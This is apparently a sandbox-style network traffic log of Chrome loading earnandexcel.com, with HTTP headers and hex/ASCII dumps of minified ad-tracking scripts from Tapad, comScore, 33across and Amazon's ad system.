2024-04-11 21:27:06 UTC	912	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ABPtcPrdRxtKBlqymOn9W-ZiEhE82U2LJbum1_zdpRmeQkkUDKim_rTwACW4wVA0u6HmvcVvaxuoxh0ZVQ x-goog-generation: 1685983010517890 x-goog-metageneration: 1 x-goog-stored-content-encoding: gzip x-goog-stored-content-length: 5009 x-goog-hash: crc32c=aHj4lg== x-goog-hash: md5=R6iGNTBWyvM6mYxgQeIIlg== x-goog-storage-class: MULTI_REGIONAL Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Access-Control-Allow-Origin X-GUploader-Response-Body-Transformations: gunzipped Warning: 214 UploadServer gunzipped Server: UploadServer Date: Thu, 11 Apr 2024 21:04:20 GMT Last-Modified: Mon, 05 Jun 2023 16:36:50 GMT ETag: W/"47a886353056caf33a998c6041e20896" Content-Type: application/javascript Vary: Accept-Encoding Content-Length: 17484 Age: 1366 Cache-Control: public,max-age=3600 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:06 UTC	343	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 72 29 7b 69 66 28 65 5b 72 5d 29 72 65 74 75 72 6e 20 65 5b 72 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 6f 3d 65 5b 72 5d 3d 7b 69 3a 72 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 74 5b 72 5d 2e 63 61 6c 6c 28 6f 2e 65 78 70 6f 72 74 73 2c 6f 2c 6f 2e 65 78 70 6f 72 74 73 2c 6e 29 2c 6f 2e 6c 3d 21 30 2c 6f 2e 65 78 70 6f 72 74 73 7d 6e 2e 6d 3d 74 2c 6e 2e 63 3d 65 2c 6e 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 6e 2e 6f 28 74 2c 65 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 65 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 72 7d 29 7d 2c 6e 2e 72 3d 66 75 6e Data Ascii: !function(t){var e={};function n(r){if(e[r])return e[r].exports;var o=e[r]={i:r,l:!1,exports:{}};return t[r].call(o.exports,o,o.exports,n),o.l=!0,o.exports}n.m=t,n.c=e,n.d=function(t,e,r){n.o(t,e)\|\|Object.defineProperty(t,e,{enumerable:!0,get:r})},n.r=fun
2024-04-11 21:27:06 UTC	1255	IN	Data Raw: 74 6f 53 74 72 69 6e 67 54 61 67 2c 7b 76 61 6c 75 65 3a 22 4d 6f 64 75 6c 65 22 7d 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 7d 2c 6e 2e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 69 66 28 31 26 65 26 26 28 74 3d 6e 28 74 29 29 2c 38 26 65 29 72 65 74 75 72 6e 20 74 3b 69 66 28 34 26 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 74 26 26 74 2e 5f 5f 65 73 4d 6f 64 75 6c 65 29 72 65 74 75 72 6e 20 74 3b 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 6e 75 6c 6c 29 3b 69 66 28 6e 2e 72 28 72 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 72 2c 22 64 65 66 61 75 6c 74 22 2c 7b 65 6e 75 Data Ascii: toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},n.t=function(t,e){if(1&e&&(t=n(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enu
2024-04-11 21:27:06 UTC	1255	IN	Data Raw: 43 45 53 53 3d 22 73 75 63 63 65 73 73 22 7d 28 72 7c 7c 28 72 3d 7b 7d 29 29 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 49 46 52 41 4d 45 3d 22 49 46 52 41 4d 45 22 2c 74 2e 58 48 52 3d 22 58 48 52 22 7d 28 6f 7c 7c 28 6f 3d 7b 7d 29 29 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 42 52 4f 57 53 45 52 3d 22 42 52 4f 57 53 45 52 22 2c 74 2e 41 4d 50 3d 22 41 4d 50 22 7d 28 61 7c 7c 28 61 3d 7b 7d 29 29 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 4d 4d 3d 22 6d 6d 22 2c 74 2e 54 54 44 3d 22 74 74 64 22 7d 28 69 7c 7c 28 69 3d 7b 7d 29 29 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 6a 73 3d 22 6a 73 22 7d 28 75 7c 7c 28 75 3d 7b 7d 29 29 3b 76 61 72 20 70 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 7b 7d 3b 66 6f 72 28 76 61 72 20 72 Data Ascii: CESS="success"}(r\|\|(r={})),function(t){t.IFRAME="IFRAME",t.XHR="XHR"}(o\|\|(o={})),function(t){t.BROWSER="BROWSER",t.AMP="AMP"}(a\|\|(a={})),function(t){t.MM="mm",t.TTD="ttd"}(i\|\|(i={})),function(t){t.js="js"}(u\|\|(u={}));var p=function(t,e){var n={};for(var r
2024-04-11 21:27:06 UTC	1255	IN	Data Raw: 7b 6b 65 79 3a 22 67 65 74 54 61 70 61 64 4d 65 74 61 43 6f 6f 6b 69 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 2e 67 65 74 46 72 6f 6d 41 6c 6c 53 74 6f 72 65 73 28 74 68 69 73 2e 73 74 6f 72 61 67 65 4b 65 79 29 3b 74 72 79 7b 76 61 72 20 6e 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 65 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 6e 3f 7b 7d 3a 6e 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 7b 7d 7d 7d 7d 2c 7b 6b 65 79 3a 22 73 65 74 54 61 70 61 64 4d 65 74 61 43 6f 6f 6b 69 65 49 64 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 67 65 74 54 61 70 61 64 4d 65 74 61 43 6f 6f 6b 69 65 28 29 3b 74 68 69 73 2e 73 65 74 54 61 70 61 64 4d 65 74 61 43 6f 6f 6b 69 65 28 6e 75 6c Data Ascii: {key:"getTapadMetaCookie",value:function(){var e=t.getFromAllStores(this.storageKey);try{var n=JSON.parse(e);return null==n?{}:n}catch(t){return{}}}},{key:"setTapadMetaCookieId",value:function(t){var e=this.getTapadMetaCookie();this.setTapadMetaCookie(nul
2024-04-11 21:27:06 UTC	1255	IN	Data Raw: 61 3d 5b 5d 2c 69 3d 21 30 2c 75 3d 21 31 3b 74 72 79 7b 66 6f 72 28 6e 3d 6e 2e 63 61 6c 6c 28 74 29 3b 21 28 69 3d 28 72 3d 6e 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 26 26 28 61 2e 70 75 73 68 28 72 2e 76 61 6c 75 65 29 2c 21 65 7c 7c 61 2e 6c 65 6e 67 74 68 21 3d 3d 65 29 3b 69 3d 21 30 29 3b 7d 63 61 74 63 68 28 74 29 7b 75 3d 21 30 2c 6f 3d 74 7d 66 69 6e 61 6c 6c 79 7b 74 72 79 7b 69 7c 7c 6e 75 6c 6c 3d 3d 6e 2e 72 65 74 75 72 6e 7c 7c 6e 2e 72 65 74 75 72 6e 28 29 7d 66 69 6e 61 6c 6c 79 7b 69 66 28 75 29 74 68 72 6f 77 20 6f 7d 7d 72 65 74 75 72 6e 20 61 7d 28 74 2c 65 29 7c 7c 6d 28 74 2c 65 29 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 61 74 74 65 6d 70 74 20 Data Ascii: a=[],i=!0,u=!1;try{for(n=n.call(t);!(i=(r=n.next()).done)&&(a.push(r.value),!e\|\|a.length!==e);i=!0);}catch(t){u=!0,o=t}finally{try{i\|\|null==n.return\|\|n.return()}finally{if(u)throw o}}return a}(t,e)\|\|m(t,e)\|\|function(){throw new TypeError("Invalid attempt
2024-04-11 21:27:06 UTC	1255	IN	Data Raw: 6e 75 6c 6c 3d 3d 65 7c 7c 65 3e 74 2e 6c 65 6e 67 74 68 29 26 26 28 65 3d 74 2e 6c 65 6e 67 74 68 29 3b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 6e 65 77 20 41 72 72 61 79 28 65 29 3b 6e 3c 65 3b 6e 2b 2b 29 72 5b 6e 5d 3d 74 5b 6e 5d 3b 72 65 74 75 72 6e 20 72 7d 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 7b 7d 3b 66 6f 72 28 76 61 72 20 72 20 69 6e 20 74 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 74 2c 72 29 26 26 65 2e 69 6e 64 65 78 4f 66 28 72 29 3c 30 26 26 28 6e 5b 72 5d 3d 74 5b 72 5d 29 3b 69 66 28 6e 75 6c 6c 21 3d 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 Data Ascii: null==e\|\|e>t.length)&&(e=t.length);for(var n=0,r=new Array(e);n<e;n++)r[n]=t[n];return r}var b=function(t,e){var n={};for(var r in t)Object.prototype.hasOwnProperty.call(t,r)&&e.indexOf(r)<0&&(n[r]=t[r]);if(null!=t&&"function"==typeof Object.getOwnPropert
2024-04-11 21:27:06 UTC	1255	IN	Data Raw: 61 74 61 3d 22 2e 63 6f 6e 63 61 74 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 29 5d 7d 66 75 6e 63 74 69 6f 6e 20 6a 28 74 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 6b 65 79 73 28 74 29 2e 6d 61 70 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 5b 65 2c 74 5b 65 5d 5d 7d 29 29 2e 66 69 6c 74 65 72 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 79 28 74 2c 32 29 3b 65 5b 30 5d 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 65 5b 31 5d 7d 29 29 2e 6d 61 70 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 79 28 74 2c 32 29 2c 6e 3d 65 5b 30 5d 2c 72 3d 65 5b 31 5d 3b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 6b 65 79 73 28 72 29 2e 6d 61 70 28 28 66 Data Ascii: ata=".concat(encodeURIComponent(JSON.stringify(t)))]}function j(t){return Object.keys(t).map((function(e){return[e,t[e]]})).filter((function(t){var e=y(t,2);e[0];return null!=e[1]})).map((function(t){var e=y(t,2),n=e[0],r=e[1];return Object.keys(r).map((f
2024-04-11 21:27:06 UTC	1255	IN	Data Raw: 74 79 50 72 69 6e 74 44 61 74 61 50 61 72 61 6d 73 29 29 2c 72 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 28 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 28 29 7d 2c 72 2e 6f 6e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 28 74 29 7d 2c 6e 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 72 2c 6e 2e 6c 61 73 74 43 68 69 6c 64 29 7d 29 29 7d 7d 5d 29 26 26 6b 28 65 2e 70 72 6f 74 6f 74 79 70 65 2c 6e 29 2c 72 26 26 6b 28 65 2c 72 29 2c 74 7d 28 29 3b 66 75 6e 63 74 69 6f 6e 20 49 28 29 7b 72 65 74 75 72 6e 28 49 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 29 Data Ascii: tyPrintDataParams)),r.style.display="none",new Promise((function(t,e){r.onload=function(){return t()},r.onerror=function(t){return e(t)},n.insertBefore(r,n.lastChild)}))}}])&&k(e.prototype,n),r&&k(e,r),t}();function I(){return(I=Object.assign\|\|function(t)
2024-04-11 21:27:06 UTC	1255	IN	Data Raw: 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 74 7d 7d 5d 2c 28 6e 3d 5b 7b 6b 65 79 3a 22 73 79 6e 63 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 63 61 6c 6c 50 69 78 65 6c 53 65 72 76 65 72 28 74 2c 65 29 7d 7d 2c 7b 6b 65 79 3a 22 63 61 6c 6c 50 69 78 65 6c 53 65 72 76 65 72 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 72 3d 22 22 2e 63 6f 6e 63 61 74 28 74 68 69 73 2e 73 79 6e 63 55 72 6c 28 29 2c 22 3f 22 29 2e 63 6f 6e 63 61 74 28 4f 28 65 2c 74 68 69 73 2e 63 6f 6e 66 69 67 2e 70 72 65 74 74 79 50 72 69 6e 74 44 61 74 61 50 61 72 61 6d 73 29 29 2c 6f 3d 6e 65 77 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 3b 72 65 74 75 72 6e 20 6f 2e 77 69 74 68 43 72 65 64 65 6e 74 Data Ascii: eturn null!=t}}],(n=[{key:"sync",value:function(t,e){return this.callPixelServer(t,e)}},{key:"callPixelServer",value:function(e,n){var r="".concat(this.syncUrl(),"?").concat(O(e,this.config.prettyPrintDataParams)),o=new XMLHttpRequest;return o.withCredent
2024-04-11 21:27:06 UTC	1255	IN	Data Raw: 6c 65 7c 7c 21 31 2c 72 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 72 26 26 28 72 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 72 2e 6b 65 79 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 55 28 74 2c 65 2c 6e 29 7b 72 65 74 75 72 6e 28 55 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 52 65 66 6c 65 63 74 26 26 52 65 66 6c 65 63 74 2e 67 65 74 3f 52 65 66 6c 65 63 74 2e 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 3b 21 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 74 2c 65 29 26 26 6e 75 Data Ascii: le\|\|!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}function U(t,e,n){return(U="undefined"!=typeof Reflect&&Reflect.get?Reflect.get:function(t,e,n){var r=function(t,e){for(;!Object.prototype.hasOwnProperty.call(t,e)&&nu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
525	192.168.2.17	50399	18.164.96.18	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	554	OUT	GET /internal-cs/27053452/beacon.js HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:06 UTC	561	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 4321 Connection: close Last-Modified: Thu, 01 Feb 2024 08:21:26 GMT x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 11 Apr 2024 21:04:06 GMT Cache-Control: max-age=86400 ETag: "77ff4ede4693897337a38594321529a3" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 5af2699243b550d789ef9dce0b522ed2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P5 X-Amz-Cf-Id: un3afg6uhFuSWcMvvswh1SSissID1ouT_OfmdL1bGnoGV2YjgcrWuQ== Age: 1381
2024-04-11 21:27:06 UTC	4321	IN	Data Raw: 76 61 72 20 43 4f 4d 53 43 4f 52 45 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 65 2c 6e 2c 72 29 7b 2d 31 3d 3d 65 2e 69 6e 64 65 78 4f 66 28 22 3f 22 29 26 26 28 65 2b 3d 22 3f 22 29 3b 76 61 72 20 74 3d 21 31 3b 28 2d 31 21 3d 65 2e 69 6e 64 65 78 4f 66 28 22 26 22 29 7c 7c 65 2e 6c 65 6e 67 74 68 2d 31 3e 65 2e 69 6e 64 65 78 4f 66 28 22 3f 22 29 29 26 26 28 74 3d 21 30 29 3b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 6e 2e 6c 65 6e 67 74 68 3b 2b 2b 61 29 7b 76 61 72 20 69 3d 6e 5b 61 5d 3b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 69 29 74 26 26 28 65 2b 3d 22 26 22 29 2c 74 3d 21 30 2c 65 2b 3d 63 2b 22 3d 22 2b 6f 28 69 5b 63 5d 2b 22 22 29 7d 72 65 74 75 72 6e 20 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 69 66 28 65 Data Ascii: var COMSCORE=function(e){function n(e,n,r){-1==e.indexOf("?")&&(e+="?");var t=!1;(-1!=e.indexOf("&")\|\|e.length-1>e.indexOf("?"))&&(t=!0);for(var a=0;a<n.length;++a){var i=n[a];for(var c in i)t&&(e+="&"),t=!0,e+=c+"="+o(i[c]+"")}return e=function(e,n){if(e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
526	192.168.2.17	50350	34.117.239.71	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	1040	OUT	GET /match?bidder_id=33&external_user_id=3952083078138885077332&ts=1712870823&gdpr_58=&gdpr=0&gdpr_consent=&us_privacy=1--- HTTP/1.1 Host: events-ssc.33across.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hde.tynt.com/deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X&b=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: check=true; 33x_ps=u%3D212556691801834%3As1%3D1712870819534%3Ats%3D1712870819534
2024-04-11 21:27:06 UTC	257	IN	HTTP/1.1 200 OK content-type: image/png cache-control: no-cache, no-store, max-age=0, must-revalidate Content-Length: 68 Date: Thu, 11 Apr 2024 21:27:06 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:06 UTC	68	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 0b 49 44 41 54 78 da 63 60 00 02 00 00 05 00 01 e9 fa dc d8 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRIDATxc`IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
527	192.168.2.17	50393	34.117.239.71	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	567	OUT	GET /match?bidder_id=99&external_user_id=y-dtW6JvRE2uEAdSwHz2TdJClVA1i72bFF%7EA&ts=1712870823&gdpr_58=&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1 Host: events-ssc.33across.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: check=true; 33x_ps=u%3D212556691801834%3As1%3D1712870819534%3Ats%3D1712870819534
2024-04-11 21:27:06 UTC	257	IN	HTTP/1.1 200 OK content-type: image/png cache-control: no-cache, no-store, max-age=0, must-revalidate Content-Length: 68 Date: Thu, 11 Apr 2024 21:27:06 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:06 UTC	68	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 0b 49 44 41 54 78 da 63 60 00 02 00 00 05 00 01 e9 fa dc d8 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRIDATxc`IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
528	192.168.2.17	50368	108.138.106.70	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	627	OUT	GET /configs/38918095-8e45-4332-88bf-226b3514cb64 HTTP/1.1 Host: config.aps.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-privacy=0; ad-id=A2D_XDx3tU5MhPWHEz8pwhw
2024-04-11 21:27:06 UTC	389	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 602 Connection: close Server: CloudFront Date: Thu, 11 Apr 2024 21:14:46 GMT Cache-Control: max-age=3600 X-Cache: Hit from cloudfront Via: 1.1 54798bbc2ce3e33c706761634ac87e48.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P3 X-Amz-Cf-Id: 6xoUCAKur9Yv8VNb3InyUaXgS7L3uzs05e-ZbKzmk1NkEIZ-2hftVg== Age: 740
2024-04-11 21:27:06 UTC	602	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 74 72 79 20 7b 63 6f 6e 73 74 20 61 63 63 6f 75 6e 74 49 64 20 3d 20 22 33 38 39 31 38 30 39 35 2d 38 65 34 35 2d 34 33 33 32 2d 38 38 62 66 2d 32 32 36 62 33 35 31 34 63 62 36 34 22 3b 77 69 6e 64 6f 77 2e 5f 61 70 73 20 3d 20 77 69 6e 64 6f 77 2e 5f 61 70 73 20 7c 7c 20 6e 65 77 20 4d 61 70 28 29 3b 69 66 20 28 21 5f 61 70 73 2e 68 61 73 28 61 63 63 6f 75 6e 74 49 64 29 29 20 7b 5f 61 70 73 2e 73 65 74 28 61 63 63 6f 75 6e 74 49 64 2c 20 7b 20 71 75 65 75 65 3a 20 6e 65 77 20 41 72 72 61 79 28 29 2c 20 73 74 6f 72 65 3a 20 6e 65 77 20 4d 61 70 28 29 20 7d 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 72 65 63 6f 72 64 28 6e 61 6d 65 2c 20 64 65 74 61 69 6c 29 20 7b 5f 61 70 73 2e 67 65 74 28 61 63 63 6f 75 6e 74 49 64 29 Data Ascii: (function () {try {const accountId = "38918095-8e45-4332-88bf-226b3514cb64";window._aps = window._aps \|\| new Map();if (!_aps.has(accountId)) {_aps.set(accountId, { queue: new Array(), store: new Map() });}function record(name, detail) {_aps.get(accountId)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
529	192.168.2.17	50373	108.138.115.149	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	425	OUT	GET /bao-csm/aps-comm/aps_csm.js HTTP/1.1 Host: c.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-privacy=0; ad-id=A2D_XDx3tU5MhPWHEz8pwhw
2024-04-11 21:27:06 UTC	622	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 6482 Connection: close Date: Thu, 11 Apr 2024 01:55:11 GMT Last-Modified: Thu, 29 Feb 2024 02:13:08 GMT ETag: "a4d296427fc806b21335359e398c025c" x-amz-server-side-encryption: AES256 Cache-Control: public, max-age=86400 x-amz-version-id: r5.lR.LJ66XEXzxUUVo7iMemjL_F_GoE Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 54798bbc2ce3e33c706761634ac87e48.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P3 X-Amz-Cf-Id: _d96cG511cFsCvJ-Qs0CWpMN-gxdBuOgbHLd_gI7FwESp4MKzSUNJg== Age: 70316
2024-04-11 21:27:06 UTC	6482	IN	Data Raw: 76 61 72 20 61 6d 7a 6e 5f 61 70 73 5f 63 73 6d 3d 61 6d 7a 6e 5f 61 70 73 5f 63 73 6d 7c 7c 7b 7d 3b 61 6d 7a 6e 5f 61 70 73 5f 63 73 6d 2e 65 72 72 6f 72 73 3d 5b 5d 2c 61 6d 7a 6e 5f 61 70 73 5f 63 73 6d 2e 72 65 70 6f 72 74 45 72 72 6f 72 73 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 2c 63 3b 66 6f 72 28 2f 5e 68 74 74 70 73 3f 3a 5c 2f 5c 2f 2f 2e 74 65 73 74 28 61 29 3d 3d 3d 21 31 26 26 28 61 3d 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 2b 22 2f 2f 22 2b 61 29 2c 22 2f 22 21 3d 3d 61 2e 73 75 62 73 74 72 28 61 2e 6c 65 6e 67 74 68 2d 31 29 26 26 28 61 2b 3d 22 2f 22 29 2c 62 3d 30 3b 62 3c 61 6d 7a 6e 5f 61 70 73 5f 63 73 6d 2e 65 72 72 6f 72 73 2e 6c 65 6e 67 74 68 3b 62 2b 2b 29 63 3d 27 7b 22 61 64 Data Ascii: var amzn_aps_csm=amzn_aps_csm\|\|{};amzn_aps_csm.errors=[],amzn_aps_csm.reportErrors=function(a){var b,c;for(/^https?:\/\//.test(a)===!1&&(a=document.location.protocol+"//"+a),"/"!==a.substr(a.length-1)&&(a+="/"),b=0;b<amzn_aps_csm.errors.length;b++)c='{"ad

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
